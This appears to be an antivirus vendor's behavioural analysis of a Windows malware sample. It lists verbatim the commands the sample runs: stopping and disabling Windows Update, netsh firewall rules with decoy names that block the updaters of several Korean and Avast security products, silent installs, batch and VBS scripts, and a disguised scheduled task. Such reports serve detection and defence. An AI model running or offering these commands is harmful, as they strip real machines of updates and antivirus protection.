Technical Information
Malicious functions:
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
Executes the following:
- '<SYSTEM32>\net.exe' stop wuauserv
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="OpenVPN1.0" dir=in action=block program="%ProgramFiles%\AhnLab\V3Lite30\MUpdate2\MUpdate2.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="OpenVPN1.0" dir=out action=block program="%ProgramFiles%\AhnLab\V3Lite30\MUpdate2\MUpdate2.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="OpenVPN2.0" dir=in action=block program="%ProgramFiles%\ESTsoft\ALYac\AYUpdSrv.aye"
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="OpenVPN2.0" dir=out action=block program="%ProgramFiles%\ESTsoft\ALYac\AYUpdSrv.aye"
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Torrentservice" dir=in action=block program="%ProgramFiles%\Naver\NaverVaccine\NvcAgent.npc"
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Torrentservice" dir=out action=block program="%ProgramFiles%\Naver\NaverVaccine\NvcAgent.npc"
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Msn Messenger" dir=in action=block program="%ProgramFiles%\AVAST Software\Avast\setup\instup.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Msn Messenger" dir=out action=block program="%ProgramFiles%\AVAST Software\Avast\setup\instup.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Skype updater" dir=in action=block program="%ProgramFiles%\AhnLab\Safe Transaction\MUpdate2\MUpdate2.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Skype updater" dir=out action=block program="%ProgramFiles%\AhnLab\Safe Transaction\MUpdate2\MUpdate2.exe"
Modifies file system:
Creates the following files:
- %TEMP%\Installer.msi
- %WINDIR%\Installer\MSI5.tmp
- C:\Config.Msi\252fb.rbs
- %WINDIR%\Installer\MSI3.tmp
- %APPDATA%\installer\is-PTSHN.tmp
- %APPDATA%\installer\is-F6ENT.tmp
- %APPDATA%\installer\is-NOQM0.tmp
- %APPDATA%\installer\is-DC632.tmp
- %APPDATA%\installer\is-DGHHA.tmp
- %APPDATA%\installer\is-BKQEQ.tmp
- %APPDATA%\installer\is-3ILIC.tmp
- %APPDATA%\installer\is-09VNO.tmp
- %APPDATA%\installer\is-4VUI2.tmp
- %APPDATA%\installer\is-L02FI.tmp
- %APPDATA%\installer\is-25KDH.tmp
- %TEMP%\is-NHL2O.tmp\Installer.tmp
- %TEMP%\MW-d78b930b-358a-4ffe-8f5a-2a2d86ff7451\files\Installer.exe
- %TEMP%\MW-d78b930b-358a-4ffe-8f5a-2a2d86ff7451\files.cab
- %TEMP%\MW-d78b930b-358a-4ffe-8f5a-2a2d86ff7451\msiwrapper.ini
- %WINDIR%\Installer\MSI2.tmp
- %WINDIR%\Installer\252fa.ipi
- %WINDIR%\Installer\252f8.msi
- %TEMP%\start.exe
- %TEMP%\Install.cmd
- %WINDIR%\Installer\252fc.msi
- %WINDIR%\Installer\MSI7.tmp
Deletes the following files:
- %TEMP%\is-NHL2O.tmp\Installer.tmp
- %WINDIR%\Installer\MSI2.tmp
- %WINDIR%\Installer\MSI5.tmp
- %WINDIR%\Installer\MSI3.tmp
- C:\Config.Msi\252fb.rbs
- %TEMP%\MW-d78b930b-358a-4ffe-8f5a-2a2d86ff7451\files\Installer.exe
- %TEMP%\MW-d78b930b-358a-4ffe-8f5a-2a2d86ff7451\msiwrapper.ini
- %TEMP%\MW-d78b930b-358a-4ffe-8f5a-2a2d86ff7451\files.cab
- %WINDIR%\Installer\MSI7.tmp
- %WINDIR%\Installer\252f8.msi
- %WINDIR%\Installer\252fa.ipi
- %TEMP%\Installer.msi
- %TEMP%\Install.cmd
Moves the following files:
- from %APPDATA%\installer\is-25KDH.tmp to %APPDATA%\installer\config.json
- from %APPDATA%\installer\is-L02FI.tmp to %APPDATA%\installer\W0uqGw7l4z7N5D6IKkp4F2Fa41nJKj.7z
- from %APPDATA%\installer\is-4VUI2.tmp to %APPDATA%\installer\7z.dll
- from %APPDATA%\installer\is-09VNO.tmp to %APPDATA%\installer\7z.exe
- from %APPDATA%\installer\is-3ILIC.tmp to %APPDATA%\installer\7z.sfx
- from %APPDATA%\installer\is-BKQEQ.tmp to %APPDATA%\installer\7zCon.sfx
- from %APPDATA%\installer\is-DGHHA.tmp to %APPDATA%\installer\7-zip.dll
- from %APPDATA%\installer\is-DC632.tmp to %APPDATA%\installer\7-zip32.dll
- from %APPDATA%\installer\is-NOQM0.tmp to %APPDATA%\installer\I4bpqv3FPtpZq7wR0Fl721E996IHSo.bat
- from %APPDATA%\installer\is-F6ENT.tmp to %APPDATA%\installer\I4bpqv3FPtpZq7wR0Fl721E996IHSo.vbs
- from %APPDATA%\installer\is-PTSHN.tmp to %APPDATA%\installer\l414Q0Nyj66xc4b03GQ5XHmMFqkoCD.bat
Miscellaneous:
Creates and executes the following:
- '%TEMP%\start.exe'
- '%TEMP%\MW-d78b930b-358a-4ffe-8f5a-2a2d86ff7451\files\Installer.exe' /VERYSILENT
- '%TEMP%\is-NHL2O.tmp\Installer.tmp' /SL5="$400E6,2566168,57856,%TEMP%\MW-d78b930b-358a-4ffe-8f5a-2a2d86ff7451\files\Installer.exe" /VERYSILENT
- '<SYSTEM32>\wscript.exe' "%APPDATA%\installer\I4bpqv3FPtpZq7wR0Fl721E996IHSo.vbs"
Executes the following:
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\Install.cmd""
- '<SYSTEM32>\msiexec.exe' /i %TEMP%\Installer.msi /quiet
- '<SYSTEM32>\msiexec.exe' /V
- '<SYSTEM32>\msiexec.exe' -Embedding DBC04DC1D0C066DBDC05465E91D429A1
- '<SYSTEM32>\expand.exe' -R files.cab -F:* files
- '<SYSTEM32>\cmd.exe' /C ""%APPDATA%\installer\l414Q0Nyj66xc4b03GQ5XHmMFqkoCD.bat""
- '<SYSTEM32>\cmd.exe' /c "%APPDATA%\installer\I4bpqv3FPtpZq7wR0Fl721E996IHSo.bat"
- '<SYSTEM32>\net1.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%TEMP%\MW-d78b930b-358a-4ffe-8f5a-2a2d86ff7451\files"
- '<SYSTEM32>\netsh.exe' Advfirewall set allprofiles state on
- '<SYSTEM32>\schtasks.exe' /create /xml "%APPDATA%\installer\2c8FZcj7nw6mUwPW687l5gJZ1EBTd1.xml" /tn "Windows Local Network Service"
